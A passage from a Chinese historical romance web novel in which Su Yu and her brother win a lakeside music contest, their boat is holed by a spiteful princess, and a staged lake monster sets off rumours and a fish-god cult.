柔嘉郡主冷笑,“弹琴是雅事,谁似你这般粗俗。” 苏钰明白了,这是船舱里有代打。 也好,她也找代打。 原本春日宴第一项都是作诗,但柔嘉郡主何许人也,她要比琴,也没敢说不比。 更重要的是,苏钰的诗己经挂出来了。 不管诗才,还是书法,都可以压着众人打了。继续作诗只会显得很傻。 琴声从恒王府花船中传出,宛如夜莺在幽深的林间啼鸣,清脆而婉转。 苏钰虽然弹的不好,但因苏邑的关系,她对琴艺研究颇深。 “弹的不错。”苏钰点评着,看向苏邑,“靠你了。” 苏邑有些犹豫,“我弹……” “只说比琴艺,又没说本人上场。”苏邑笑着说,“都是代打的,谁也别说谁。” 一曲弹完,柔嘉郡主从船舱出来,神情得意,“该你了。” 这是恒王府高价从外地请来的琴师,为了能压苏钰一头,硬是不让他在公众场合弹琴,只为了今天。 苏钰点点头,给苏邑使了眼色,两人进到船舱。 绿川早把琴摆好,因为来直隶匆忙,苏邑并没有带琴来。 现在这架琴还是在直隶买的,苏邑一次没弹过。 手指轻拔琴弦,只是一声却断了。 柔嘉郡主刚想出言嘲讽,琴声骤起,如雷霆万钧,在众人耳畔轰然炸裂。 金戈铁马之声震耳欲聋,急促的节奏,仿若战鼓轰鸣。 借着水声,琴声传至四面八方。惊的在场众人无不胆颤,仿若置身战场之中。 就在众人心惊胆颤之时,萧声悠悠而起,宛如一缕轻柔的春风,吹进众人心里。 杀伐之气似乎被这股春风吹散了不少,安静详和再次从人们心中冒出来。 琴声似有片刻的惊讶,琴声未断,气势却与刚才有些不同。 箫声紧追而来,曲调不若刚才的清柔,似在配合琴声。 当琴音与箫声交织共鸣,缠绕呼应,时间仿佛静止,周围的一切都变得朦胧而虚幻。 众人仿佛置身于玄妙仙境,被音律包裹着的身心,忘却了世间的纷扰与喧嚣。 一曲结束,众人仿佛还沉浸其中,连个叫好的都没有。 这等仙乐,只该天上有。 苏钰推开船舱门出来,听声辩位,箫声来自知府的花船上。 就在此时,知府的船舱门也被推开,一位白衣男子缓缓走出。 他手持玉箫,风度翩翩,原本的张扬似乎被音律洗涤干净,竟然带着温文尔雅。 “关楚河?” 第94章 第 94 章 “关楚河?” 苏钰惊…… “关楚河?” 苏钰惊讶之余, 心中警铃大作,他为什么会在这里? 慕容宁在京城大清洗,清洗的就是关家党羽,做为关家当家人, 他应该在京城才对。 怎么会有时间和精力参加春日宴, 甚至还有心情与人合奏。 “苏姑娘。”关楚河说着, 眼中带着几分赞赏。 苏钰知他误会了, 笑着解释,“关大人误会了, 琴不是我弹的,是我弟弟苏邑。” 说话间,苏邑也从船舱里出来,看到关楚河的一瞬间,表情几乎要裂开, 脱口而出,“刚才真的是你在吹箫吗,不是代打的?” 音乐不会骗人, 从刚才的箫声可断判, 吹箫者性格温柔向往田园农家生活, 怎么可能是关楚河。 他是没跟关楚河打过交道,但关楚河的传闻, 京城七岁小娃都晓的。 动辄杀人全家, 手段阴毒,不是好人。 “咳~”苏钰连连给苏邑使眼色,虽然她心里也是这么想的,但当面说出来就太失礼了。 “舍弟冒失,请关大人见谅。”苏钰说着。 关楚河笑着, 没有丝毫怪罪之意,看着苏邑,十分高兴的模样,“我也没想到,苏小将军还能给我如此大的惊喜。” 苏邑反倒有些不好意思,他向来不善于交际,更不知道跟关楚河这种人怎么说话。 “你又是什么人,跑到这里来搅局。”柔嘉郡主站在船头,怒声说着。 琴声响起时,她就知道输了,是境界差距。 但这里是直隶,谁敢不卖恒王府面子,争一争说一说还能耍个无赖。 箫声一出,最后的琴箫合奏,就是她再厚脸皮也不好意思说自家弹的好。 “这位是京城的关大人,劝郡主和气些,不然就不是禁足这么简单了。”苏钰说着。 得罪苏天华,最多挨顿打。 得罪关楚河,弄不好就抄家流放了。 知府也从船舱出来,神情甚是惶恐,要不是在船上,他都想跳过去捂住柔嘉郡主的嘴。 柔嘉郡主全然不觉,京城的郡主,满大街的皇亲国戚,就是郡主都得小心做人。 而柔嘉郡主,出生就在直隶,整个直隶地界上,除了爹娘她最大,称王称霸惯了,全然不懂看脸色。 “苏钰,你别太得意了,这里是直隶。”柔嘉郡主放着狠话。 一直以来恒王爷对恒王妃都是极好的,夫妻恩爱,是模范夫妻。 结果因为苏家,恒王爷当众打了恒王妃的耳光,还把恒王妃禁足。 这让身为女儿的柔嘉郡主,如何不生气。借着春日宴,她一定要给苏钰好看,给恒王妃出了这口气。 “直隶也是天子所辖,并非法外之地。”苏钰说着,好心提醒柔嘉郡主,“恒王爷和世子没在船上吗?” 恒王爷和恒王世子,应该认识关楚河,至少会看脸色。知府这脸色一会儿红一会儿白,快成调色盘了。 柔嘉郡主冷笑,“这回没人能救你。” “哎~”苏钰只能叹息,“是救你。” 正说着,苏钰隐约听到“咔嚓”几声,随即船身剧烈摇晃起来,水手惊慌大喊:“有人在凿船,漏水了。” 花船的主要功能是摆阔,做为船只的功能性只是勉强合格,更没有御敌的手段。 直隶开了这么多场春日宴,也没听说过谁家花船被凿的,这也是开眼了。 “船都要沉了,成了落汤鸡,看你还怎么得意。”柔嘉郡主痛快极了。 凿船这个主意,实在太妙了,她都要佩服自己了。 苏钰无言的看着柔嘉郡主,不管是陆锦半夜泼油烧屋,还是柔嘉郡主的当众凿船,都给她一种开眼的感觉。 论无法无天,还得是京外。 如此变故,春日宴的众人也都惊了。 离家苏家花船最近的是知府的花船,知府吓得都全身直打哆嗦,苏钰和苏邑要是出事了,他还活不了活了。 但要是去救…… 知府小心翼翼的看向关楚河,就见关楚河挥挥手,花船靠近苏家的花船。 因为苏家花船摇晃的厉害,除了苏钰,苏邑以及水手们外,云棠连带着下人们都被晃倒在船舱里,摔的乱成一团。 苏钰先扶起云棠,小心送到知府的花船上,随即又去扶绿川。 等苏家花船上的人都转移到知府花船上后,苏钰和苏邑才过去。 至于苏家花船,船底破洞越来越大,再有一刻钟就彻底沉没。 真几千两银子打了水漂。 “你一个小小知府,竟然敢……” 柔嘉郡主见状,顿时大怒,刚要训斥知府,自家花船竟然摇晃起来。 与柔嘉郡主的派人凿船还不同,这是水手下去湖里直接掀船。 而且力量比柔嘉郡主派出的人大太多了,众人还未反应过来之时,恒王府的花船己然被掀翻。 “啊~” 柔嘉郡主惊声尖叫,幸好同船的丫头婆子中有会有水性的,拖着柔嘉郡主到岸边。 至于跟随的下人,花船行使皆靠水手掌舵,水手自救之余,也会救人。 一场春日宴,凿沉了一艘花船,掀翻了一艘花船,恒王府唯一的郡主,落汤鸡一样在岸边叫骂。 如此故变,所有人都傻眼,主事人程喻己经说不出话来。 这春日宴还开吗? 还开吗? 开个屁啊。 “多谢关大人。”苏钰向关楚河道谢。 除了相救之情,还有把恒王府的花船掀翻,当场报仇之恩。 苏邑还有点没反应过来,苏钰笑着说,“直隶地界,敢如此行事的也只有关大人了。” 关楚河出门游湖,身边必然跟着水性武艺皆超凡的打手,防刺杀。 直隶地界上,眼前这些人里,能把恒王府花船这么短的时间内掀翻的,也只有关楚河能做到。 “客气了。”关楚河笑着,“说起来,我们两家还是姻亲。” 苏钰和苏邑的表情都有些古怪。 当然是姻亲,亲婶子关氏是关楚河的侄女,按辈份算,他俩得叫关楚河爷爷。 只是高门大户之间,大部时候都不这么算,京城顶级豪门就没几家。苏家还好些,人口少。 关家是大族,只按房头分至少有十几房,关系错踪复杂。 联姻又讲究门当户对,亲友套亲友,论起来半个京城都跟的关家有亲。 这种时候下,在联姻的时候,若是细抠辈份就没法成亲。只要血缘够远,辈份不是问题,各论各的。 现在关楚河特意提出来,这就有点…… 咋滴,这是逼他们叫爷爷啊。 关楚河心情很好,本就是调侃一句,逗他们玩,也没打算当这个便宜爷爷。 目光转到云棠身上,“这位就是苏二小姐?” 云棠显得十分局促,苏邑站到她身侧,笑着道:“是,这是我二姐苏辰。” 随即又给云棠介绍,“这是京城的关……关爷爷。” 关楚河都主动提辈份这个问题了,苏邑向来实心眼,介绍时就直接关爷爷。 关楚河明显愣了一下,苏钰却是一点都不意外,不要跟苏邑开玩笑,他会当真,笑着圆场,“关大人跟我们开玩笑呢。” 苏邑松了口气,纠正用词,“这位是关大人。” 云棠十分紧张,生怕被瞧不起,丢了苏家的脸,“见过关大人。” 关楚河点点头,看看苏邑,又看看云棠,“是像双胎胞。” 说话间,关楚河随手摘下腰间的玉佩递给云棠,“初次见面,既然叫了爷爷,这是见面礼。” 云棠愣住了,要是女性长辈给的见面礼,大大方方接了即是。但男性长辈是不给女性晚辈见面礼的,尤其是玉佩这种随身之物。 又看关楚河一身便服,行事随性,应该就是随手送。这种情况,不知道要不要接,云棠偷瞄了一眼苏钰,询问她的意见。 苏钰笑着道:“二妹还不快谢谢关大人,他送出去的见面礼可是有数的。” 云棠这才接过来,低头道谢,“谢关大人。” “关大人喝酒了?”苏钰笑着说。 看不出醉意,离的这么近,关楚河身上酒气还是能闻到的。 关楚河点头,“要不是喝了酒,也不会跟你们说这么多话。” 有道理,难道关楚河喝醉了? 有些人醉酒后,外表是看不出来的,甚至能正常应答。但行事风格却与平常全然不同。 苏钰心念转动,笑着道:“那真是巧了,刚才我还跟阿邑说,难得游湖,正欲饮酒。关大人仗义出手,可否再容我等讨杯水酒呢。” “你都开口讨了,自然是容的。”关楚河打趣说着,又朝苏钰和苏邑招招手,“一起喝酒。” 说着关楚河率先进了船舱,苏钰,苏邑紧接着进去,云棠虽然跟在苏邑身后,却显得十分紧张。 爷爷辈的长辈,呃,看年龄是父亲辈的。 要是严肃一些,像苏天华那样,她倒是自在些。 关楚河这种,明明是长辈,却喝的半醉,还要跟晚辈一起继续喝的男性长辈,她真不知道要如何应对。 进到船舱,朴素之气扑面而来,四壁未经任何华丽的装饰,正中摆着桌椅,材质虽然贵重,却并不张扬。 桌子上摆着数坛美酒,空了一坛,应该是关楚河自己喝的。 “都坐下。”关楚河笑着,又吩咐着,“拿酒壶酒杯来,有姑娘家在拿着酒坛喝就太失礼了。” 苏钰笑着道:“没想到关大人如此体恤。” 回想上回在品花楼与关楚河遇到的情景,直觉告诉她,眼前的关楚河喝醉了。 按主次落座,知府亲自端了酒壶酒杯过来,关楚河的小厮接了,给四人倒酒。 “他乡遇知己,该喝一杯。”关楚河端起酒杯,看向苏邑。 苏邑跟着端起酒杯,神色认真,“大人之箫声,余音袅袅,不绝如缕,能与大人合奏,是我之荣幸。” 这是实话,他学琴多年,亲友里知道的都不多,更不用说外人。 与人合奏,还如此契合的合奏,是第一次。 关楚河大笑,十分开心的模样,“我也是第一次遇到能与我合奏之人,知己,知己。” 两人举杯共饮,苏钰笑着道:“如何难得,更得多喝几杯。” 她的酒量一般,苏邑酒量好。 关楚河的醉意明显,再加把劲,争取把他喝断片,看看能不能套出点什么来。 她太好奇了,关楚河为什么会出现在这里? 小厮倒酒,关楚河眯着眼看着苏钰,打趣说着,“老狐狸生的小狐狸,这么想把我灌醉啊。不对,苏天翊不会跟我喝酒。” 苏钰笑着道:“我父亲不善饮酒。” “你比你娘圆滑,却不如你爹果决。”关楚河说着,“不过你也不用果断,苏略会继承你爹的衣钵。有时候我都羡慕苏天翊,捡了个好儿子。” 关楚河嘴上说着羡慕,勾起的嘴角却掩不住嘲讽之意。 苏钰并不理会,径自笑着说,“难得相遇,我也跟关大人喝一杯。” 说着,苏钰举起酒杯,笑着看向关楚河。 关楚河也跟着端起酒杯,却是看一眼旁边的云棠,“一起吧,省得你一会也来敬我,热闹还没看,我还不能醉。” 云棠有些手足无措,她并没有向关楚河敬酒之意,但关楚河这么说了,她只得端起酒杯,“敬关大人。” 关楚河微微一笑,又看一眼苏邑,“你们长的还真像。” 说着,举起酒杯一饮而尽。 苏钰和云棠也跟着喝酒,放下酒杯,苏钰好奇问,“这红莲湖上有什么热闹?” 能让关楚河等着看的热闹,肯定是大热闹。 关楚河笑,带着几分醉意的指指湖里。 苏钰不解,往湖面看了一眼,湖面静的宛如一面巨大的镜子。 “那是什么?” 突如其来的惊呼声,来自其他花船上。 苏钰顺着声音看过去,只见湖面上突然涌起一股巨大的水柱,直冲向天空,随后又重重地砸落下来,激起漫天的水花。 “湖里有怪物,有怪物!” 不知道谁喊了一声,红莲湖上顿时乱作一团。 “是大鱼吧,这么大的湖,有大鱼也正常。” “刚才那水柱就不正常,往岸边划,先上岸再说。” 各家花船上的水手拼命划,只求早点上岸。 “有个巨大的黑影,在湖里。”知府哆嗦着说着。 关楚河几乎要睡着了,喃喃说着,“靠岸。” 第95章 第 95 章 一场春日宴,就这么…… 一场春日宴, 就这么结束了。 整个过程比闹剧还闹剧,凿船,沉船都不是事了,落水的柔嘉郡主提都没人提。 所有人的关注点, 都在湖怪上。 “当时我就在船上, 冲天水柱把整个红莲湖都炸开了, 花船不知道翻了多少只。” “我亲眼看见, 那怪物身躯庞大如山,背上全是鳞片。” “那怪物的头就有船身大, 不是鱼头,是兽头,好像是老虎,又像是狮子。” “这么多年了,直隶依靠着红莲湖, 风调雨顺,突然冒出怪物,别是有什么大事吧。 “大凶之兆, 这么多年了, 红莲湖从来没有出过事。” “春日宴上降祥瑞, 明明是大吉。” 街头巷尾议论纷纷,这才几天而己, 谣言己经疯成这样。 人人都说看到了湖怪, 形容的更是五花八门,甚至还有人说,这湖怪会变幻模样,根据看到人心中所想变幻模样。 还有人说,知府己经去山上请道士, 要抓童男童女生祭湖怪。 总之,越来越离谱。 “阿邑,你眼力比我好些,你看到湖怪了吗?”苏钰说着。 当时她就在现场,水柱她是看到了的,然后就听到有人喊水里有怪物,她并没有亲眼看到。 “我只看到水里黑了一片,很快就游走了。”苏邑说着。 因为离的远,再加上是水里,看的并不真切。 苏钰扬了扬手里的县志,“我看了半天,没有任何水怪的记载。” 红莲湖是天然湖泊,千年历史,水域宽广,水中有大鱼也不奇怪。 若是真有,这么多年了,现身肯定不止这一次,县志应该有记载。 结果,翻了又翻,并没有记载。 “我倒觉得,更像是有水手披着黑布,在湖里游了一圈。”苏邑说着,“倒是那水柱,要是人为的,需要些手段。” 苏钰对苏邑的话向来都相信,这回也不例外。 就看当时花船上关楚河的态度,要是真湖怪,怎么可能会提前通知他。 必然是他安排设计,还选在春日宴,这个众目睽睽的日子。 问题是,为什么? 跑到直隶搞个假湖怪,难道关楚河被所谓的大师忽悠,认为这样可以旺自己? “假的成不了真的,谣言传一会就过去了。”苏邑不当回事说着。 也算是好事,大家都去关注湖怪,也就不会再说云棠的八卦。 苏钰摇摇头,“我总觉得这事过不去。” 关楚河也不会让这事过去。 思来想去,苏钰提笔写了一封信,给慕容宁的。 主要写了这回春日宴上巧遇关楚河,以及红莲湖闹湖怪。 她猜不到关楚河会做什么,那就写信给慕容宁,写清楚事情经过,由慕容宁来判断。 “找个脚程快的小厮,今天就起程,把信送到监察寮,交给我母亲。”苏钰吩咐绿川。 绿川接过信,“姑娘放心吧。” 绿川传身出去,就有婆子进来说,“恒王爷来了,说要给大姑娘,二姑娘,三爷道歉。二老爷请大姑娘和三爷去正房。” 苏钰并不意外,要是恒王爷不来道歉,那才是胆肥,对苏邑说着,“走吧,去看看。” 两人进到正房,苏天华,叶氏,云棠三人都在了。 恒亲王看到苏钰和苏邑进来,连忙站起身,拱手道歉:“苏姑娘,苏公子,本王代小女道歉。小女任性妄为,多有得罪,还望姑娘公子们大量,莫要与她计较。” 态度真诚,言语恳切。 他是真心诚意来道歉的,要不是担心柔嘉郡主说错话再惹大祸,他都要押着柔嘉郡主过来。 现在柔嘉郡主跟恒王妃一起,娘俩一起关禁闭,在苏家离开直隶前,房门都不准踏出一步。 “王爷言重了,小事而己。”苏钰说着。 虽然柔嘉郡主派人凿了苏家的花船,但恒王府的花船也被关楚河的手下掀翻了,柔嘉郡主还成了落汤鸡。 己经当场报了仇,若是再计较就小气了。 恒亲王松了口气,又道:“我己经吩咐工匠连夜赶工,再造一艘花船送给苏姑娘和苏公子。” 被柔嘉郡主凿坏的花船,是苏家花了几千两银子高价买的。 直接赔银子是侮辱人,那就赔一艘花船,更好更大的。 “不必了。”苏天华说着,“红莲湖闹湖怪,短期内只怕也没人会去游湖。” 恒亲王怔了一下,这才想起来,正闹湖怪,这时候赔艘花船确实不合适,“是我思虑不周,见谅见谅,那……” 赔花船不合适,那要赔什么。 他真想不出苏家缺什么。 “王爷不必在意,一艘花船而己。”苏钰说着,“我正想问王爷,红莲湖以前闹过湖怪吗?” 恒王府己传至三代,在直隶差不多也有百年了,要是有传说不可能没听过。 “从来没有。”恒亲王说着,“直隶的渔民许多,都靠着红莲湖为生,要是闹过湖怪,肯定都知道。” 要是有湖怪,其他的不说,相应的祭祀之类活动肯定会传下来。 这么多年来了,不管是渔民还是去游湖玩耍的游客,都是百无禁忌,实在不像是闹过鬼怪的。 苏钰越发肯定,所谓的湖怪是关楚河搞的把戏,笑着问恒亲王,“那天我在知府的花船上看到关大人,关大人来直隶后,就住在知府府上吗?没去拜见王爷?” “苏大姑娘快别这么说,我听着都害怕。”恒亲王说着,脸上带着惶恐,“这么多年来,恒王府与京城贵人鲜少来往,我甚至都不认识关大人,还是后来问了知府大人才晓的。” 藩王最忌与朝廷重臣来往,恒王府一脉从来没有不臣之心,只想老实安生的过富贵日子。 与苏家不敢来往,关家就更不敢来往了。 尤其是关楚河,那可是名声在外的狠角色。 苏钰想了想,还是追问一句,“那王爷可知,关大人为何突然现身直隶?” “这,我怎么会知道。”恒亲王连忙说着,“关大人的事情,我哪里敢打听。” 关家与苏家的关系微妙,尤其是最近。 但再微妙,这两家身份相当,是能一起上桌吃饭的。 苏钰见了关楚河,称呼一声关大人,关楚河会应她。她的花船被凿了洞,关楚河也会搭把手。 换个其他人,关楚河只怕看都不看一眼。 苏钰找他打听关楚河,他是真的啥都不知道,更不敢乱说。 “是我唐突了,向王爷告罪。”苏钰说着。 看恒亲王这个反应,他应该是真的一无所知。 关楚河现在住在知府衙门,她该找个什么借口过去一趟呢。 恒亲王连连摆手,“苏姑娘太客气了,哪里需要告罪。” 苏天华道:“一点小事,还劳烦王爷亲自跑一趟,实不应该。” 恒亲王陪笑说着,“是我那女儿,唉,被我娇纵的太过,给贵府添麻烦了。” “小孩子嘛,都有不懂事的时候。”苏天华说着,端起旁边茶碗。 端茶送客,恒亲王笑着道:“打扰许久,就此告辞。” “阿邑,代送我王爷。”苏天华说着。 苏邑送恒亲王出门,苏钰看向苏天华,“二叔,我总觉得湖怪之事,十分蹊跷。” “我己经往京城写了信。”苏天华说着,“这是大人的事,你就别操心了。” 刚才苏钰一直追问恒亲王,他就看出来了。 关楚河出现的太奇怪,事关慕容宁,苏钰会想的多也正常。 但朝堂之事,他这个大将军都束手无策,更何况苏钰一个小女子。 “是。”苏钰低头应着,“我和阿邑约好了要出门,我先回屋收拾。” “去吧。”苏天华说着。 苏钰转身离开,云棠却有些好奇,问叶氏,“母亲,那位关大人到底是什么人?” 他们有难时,关楚河出手帮忙,还一起喝过酒,甚至还送了她见面礼,她本以为是与苏家交好的亲友。 今天的情景,她觉得很不对劲。 “论起来也是亲戚,三太太,也就是你三婶,还是他侄女。”叶氏说着,“只是你三叔和三婶的姻缘,算是个意外,两家本没有联姻之意。这些年除了正常的四节八礼之外,没有往来。” 当然,关氏正常回娘家不算。 不牵扯利益的来往,都不算。 关氏私自给苏越定了关家的女儿,苏天佑十分生气,夫妻关系更僵了。 这门婚事也不知道能不能成,在她看来,不成最好。 有时候叶氏也不懂关氏是怎么想的,要是苏越一眼看中了,非关灵灵不娶,苏家情种基因发作,当父母成全孩子也是一桩喜事。 苏越根本就不喜欢关灵灵,关氏只是想要一个大家闺秀儿媳妇,京城里可挑的闺秀多了,何必要寻个最不合适呢。 “关楚河是关家的当家人,前妻圣和师太名满京城。当今太后和贵妃皆出自关氏一族,大权在握,权倾朝野。” “对于他,能避就避,避不过就正常招呼,他还不至于跟一个晚辈女子太计较。”叶氏说着。 关楚河的活动圈子与云棠差距太大,直隶春日宴上遇到,基本可算做是奇迹。 下回遇上,应该没有下回。 云棠听叶氏说着,整个人都懵住了,不自觉得脱口而出,“他的正室娘子竟然出家了?” “圣和师太是自己要出家的,关楚河一直没再娶。”叶氏说着。 这种情况多半是有外人不得而知的隐秘,要是其他人,京城八卦能飞上天。 但关楚河和圣和师太没人敢讨论,就好像苏天翊和慕容宁和离,压根没人敢提起。 第96章 第 96 章 及至次日,早饭过后…… 及至次日, 早饭过后,苏钰正琢磨着,如何去一趟知府衙门,探探关楚河的动向。 派人盯梢关楚河, 她是不敢做的。 要去就寻个合适的借口, 光明正大的去。 “阿钰。”苏邑在门口叫她。 小丫头赶紧过去打起帘子, 苏邑这才进来, 对苏钰说着,“你要是有空, 跟我出门一趟。” “好啊。”苏钰应着,“去哪?” 苏邑倒显得不好意思起来,“去看看四房的老太太。” 苏钰一脸莫名,“二婶的吩咐?” “不是,是我自己想去的。”苏邑说着。 苏钰更好奇了, “老太太刚过完大寿,才见过,你有什么事?” 苏邑涨红了脸, 吱吱唔唔, 要说不说的。 “你有什么事, 是不能跟我说的。”苏钰说着,好奇心快要爆棚了。 苏邑羞的满脸通红, 这才颠三倒四的把那天遇到采蓝的事讲了。 钱夫人寿辰后, 苏邑去过四房,虽未再遇到采蓝,却跟四房的管事打听了。 采蓝姓程,江阴人士,其母程太太是钱夫人的远房亲戚。 程家是江阴望族, 其父进士出身,官至四品知府,本来一家三口生活的很幸福。但就在半年前,父亲染病下世。 程采蓝是独生女,并无兄弟。程太太也非江阴人士,是远嫁过去的,娘家不得力。 其叔父便寻借口抢其财产,也就是吃绝户。 孤儿寡母在江阴难立足,无奈之下,程太太只得带着程采蓝来投奔钱夫人。 钱夫人对程太太和程采蓝很是亲热,程太太拜托四房管事帮忙寻找合适的房舍,因为要长住,特别合适的房舍不好找,目前在四房借住。 “原来是去看心上人。”苏钰打趣苏邑。 一直以来苏邑沉迷练武,再加二房的情况,叶峰是状元,性格素来有主见,虽然一直没谈亲事,叶氏却不担心。 现在缘份还未到,等缘份到了,叶峰自有决断。 倒是苏邑,虽然是次子,叶氏十分担心,生怕他打一辈子光棍。 “也不是,我就是,呃……”苏邑结结巴巴,好一会才说,“我就是想见见她。” 苏钰拍拍苏邑的肩膀,“我懂,当姐姐的,当然要帮你。” 苏家对婚姻之事向来自由,对女方的家世背景并不看重。只要苏邑喜欢,苏天华和叶氏肯定会成全。 苏钰穿好外衣,到门口上车时,苏邑己经在了。 他也换了衣服,还备了礼物,十分郑重的模样。 两人上车,车驾缓缓行驶。 “江阴人士,又姓程,还是望族。”苏钰说着,“程姑娘跟程喻,是同族吧。” 同一个地方,同姓氏,又同是望族。 是不是五服之内的亲友不好说,同族是肯定的。 “对噢,我竟没有想到。”苏邑恍然大悟。 苏钰笑着道:“这事不着急,空闲了,寻程喻问问就晓的了。” 地方上的望族,人口巨巨巨多,就像直隶苏家。五服之内的亲友都认不全,要是只是同族,估计都不认识。 两人说着话,马车突然停了下来,车夫道:“大姑娘,三爷,前面好像堵了,车子过不去。” “那我们走过去,你掉头回去吧。”苏钰说着,“免得一会被堵在里面出不来。” 直隶街道狭窄,勉强两辆马车通行,街面上马车多了,就容易堵路。 从这里到四房也就两条街,坐在马车等着更熬人,不如走过去。 苏钰和苏邑一前一后从车上下来,车夫掉头回去。两人步行向前,就听前头吵嚷着。 一个中年男人提着鱼篓,正跟一群打扮怪异的男人们争执着。 “这是我买的鱼,我付了钱的,为什么不能吃。你们要是有病,就去看大夫,别在这里挡路。”提着鱼篓的中年男人说着。 “鱼神降临,你吃它的子孙,会获罪的,还会连累所有人。”怪异打扮的男人说着。 他身后同样打扮的男人们,也都跟着叫,态度十分蛮横。 苏邑下意识就想上前制止,却被苏钰拦住,“再看看。” 怪异打扮的男人们,一行五个,身上穿的乍一看是黑衣,仔细看上面的纹面,有点像鱼鳞,头上勒着头巾,脸上还画着鱼腮。 再加上这些对话,她心里泛起疑惑。 “我们是鱼神的子孙,直隶世代受鱼神庇护,不经鱼神允许,随意捕捞就是大罪。” “你虽未参于捕捞,却意图宰杀鱼神子孙,大罪,罪不可恕。” 为首的男子越发激动,身后的男人们也跟着喊。 喊声震天,对方又有五个人,手提鱼篓的男人有些怕了,便放下鱼篓,“真是晦气。” 说着,男人转身离开了。 怪异打扮的男人们也不管他,对着鱼篓跪了下来,嘴里念着古怪的话语。 念了好一会,几个人才站起身,为首的男人提着鱼篓离开。 冲突结束,围观群众渐渐散开,虽然嘴里都议论纷纷,声音却都很小。 “他们这是疯了吗。”苏邑满脸不可思议。 苏钰脸色难看,“这才几天,这种东西都出现了。” 鬼神之说,只看信不信。 像南魏,就是典型的神权高于皇权,所有事情都迷信化。 大周一直以来都是正常的,但是一旦有祥端怪诞事情发生,当地的信仰之风就会兴起。 但春日宴过去就没几天,按理说,不该这么快。 “那个湖怪,就是假的。”苏邑说着。 他对南魏的巫术有兴趣,也花时间研究过,不得不说,能以此立国,确实是有水平的。 湖怪这个,就他的感觉,假的,水手装的。 竟然连信仰的都有了,脑子得进多少水。 “你小点声,大街上人来人往的,打起来不好看。”苏钰说着。 一般的癫子就很麻烦了,这种信仰上头的癫子,癫起来更可怕。 眼下局势不明,没必要在街上跟人起冲突。 想到今天出门的目的,苏邑住了嘴。 步到到四房,不等苏邑去敲门,门口小厮看到苏钰和苏邑连忙迎了上去。 说清楚来意,管事引着去了后院,拜见钱夫人。 钱夫人正与大儿媳妇说孙子婚事,孙子孙女太多,钱夫人年龄大了,有些甚至叫不上名字。 “你们自己做主即可,不用与我说同。”钱夫人说着。 尤其是这回大寿后,紧张之后的松弛,什么都不想管了。 大太太笑着说,“我倒是想做主,但还是得问问老太太。小五跟我说,他觉得程姑娘好,性格好,模样更好,他喜欢的紧。” “你是说采蓝?”钱夫人愣了一下。 大太太笑着点点头,“我初次见她,就很喜欢,她是老太太的亲戚,现在孤儿寡母来投奔,老太太要是做主,这事准能成。” 父亲没了,家产被夺,只剩下孤儿寡母,千里迢迢来投奔亲戚。 亲戚家愿意亲上加亲,明媒正娶回家当媳妇,这是求不来的大喜事。 钱夫人却十分犹豫,想了又想,最终还是摇摇头,“这事我还真做不了主,得问问她们娘俩的意思。” 大太太十分意外,这门亲事在她看来,没有不妥之处。 正想问缘由,就有婆子进门来报,“老太太,钰大姑娘和邑三爷来了,说要拜见老太太。” 钱夫人有些意外,笑着说,“快请进来。” 片刻后,婆子引着苏钰和苏邑进来。 “见过老太太,大太太。” 两人上前见礼,除了同族的情份外,钱夫人与谷夫人还有一份私交在。 当年谷夫人与苏震岳还没和离时,钱夫人的夫婿因为科举,带着钱夫人去国公府投奔。 同府居住,结下情义。 后来谷夫人被苏震岳休弃,钱夫人得知后,还特意去了趟京城看望。 谷夫人改嫁杨阁老,不再是苏家媳妇,两人依然没有断联系。 钱夫人十分高兴,“二太太可好,有什么要紧的事,还让你们过来。” “母亲很好。”苏邑说着,却瞄了一眼苏钰。 苏钰笑着道:“听说老太太这里来了客人,程家太太和程小姐正在府中,我和阿邑特来拜见。” 这也是苏邑非得拉她一起来的目的。 首先苏邑口才不行,再者,程家母女是女客,他一个人陌生男人,再是亲戚,都不好单独拜见。 钱夫人愣了一下,随即笑了起来,却带着几分感慨,“唉,你们的消息倒是灵通。” 苏钰笑着说,“也是巧了,那天阿邑遇上,因当时不知是谁,也没上前问侯,失了礼数。今天特意过来,一是正式拜见,二是为那日的失礼致歉。” 钱夫人显得十分犹豫,好一会才道:“这也是缘份,既然遇上了,你们这些小辈也该来拜见。” 说话间,钱夫人站起身来,“我带你们过去。” 又对大太太说,“你先回去吧。” “是。”大太太应着,行礼退下。 丫头拿来外衣,侍侯钱夫人穿好。 钱夫人丫头都没带,从角门出去,就是大宅的后花园。 沿着青石小径向前走,左转是一条竹林小道,两侧青竹挺拔而立,微风拂过时,竹叶沙沙作响。 小道的尽头是一所小院,匾上写着凝翠阁三个字。 “老太太来了……” 小丫头看到钱夫人,连忙往屋里传话。 程采蓝正在廊下逗猫,连忙起身迎上来,笑着见礼:“老太太。” 看到苏钰和苏邑时,目光落到苏邑身上,唇角勾起一抹笑。 苏钰脸上含笑,不着痕的打量着程采蓝。 年龄不大,一身素服,样貌身段可谓是巧笑倩兮,美目盼兮。 行动举止虽然活泼,却不显得轻浮,看的出来,是教养很好的大家闺秀。 如此美人,确实能让苏邑一见钟情。 钱夫人笑着说,“你母亲呢。” 程采蓝笑着道:“早饭后,大奶奶请母亲去画花样,估摸着要回来了。” 说话间,程采蓝吩咐小丫头去寻程太太回来,又让着钱夫人和苏钰,苏邑进屋。 小小三间房,收拾的清雅整洁,整套黄花梨花家具,一应软装坐垫皆是新的。 墙着挂着前朝名家的字画,桌子上的几件玩器,看着也十分不俗。 后花园一角的竹林小院,屋内摆设,无不透着主人的用心以及厚待。 苏钰心头突然浮起一抹奇异的感觉,按苏邑说的,程太太只是钱夫人的远房亲戚,夫死又无子,被吃绝户后,孤儿寡母来投靠。 落魄成这样的穷亲戚,就是钱夫人心善,好心收留,给吃给住帮忙找房子就是好人了。 尤其是四房人口众多,小辈们能分到的住所都十分狭小。 用后花园这样一节小院招呼两个落魄的亲戚,钱夫人要不是菩萨转世,就肯定另有原由。 第97章 第 97 章 “老太太喝茶。”程采蓝…… “老太太喝茶。”程采蓝亲自奉茶, 端给钱夫人。 P.M. 獨.傢.癥.蠡钱夫人笑着接过来,另有丫头给苏钰和苏邑奉茶。 “我这么多孙子孙女,就你最乖巧嘴甜。”钱夫人笑着说。 别说大太太喜欢,她也很喜欢程采蓝, 要是能给自己当孙媳妇自然是最好的。 但能不能成, 还得看程太太。 “多谢老太太夸奖。”程采蓝笑着说, 眼角却是瞄了一眼苏邑。 虽然只见过一面, 她对苏邑印象很深刻,长的如此好看的男孩子, 印象不深都难。 苏邑也正看着她,四目相接的瞬间,苏邑顿时手忙脚乱,茶杯都差点掉地上。 “是我回来的迟了。” 小丫头打起帘子,程太太匆匆进门。 苏钰看过去, 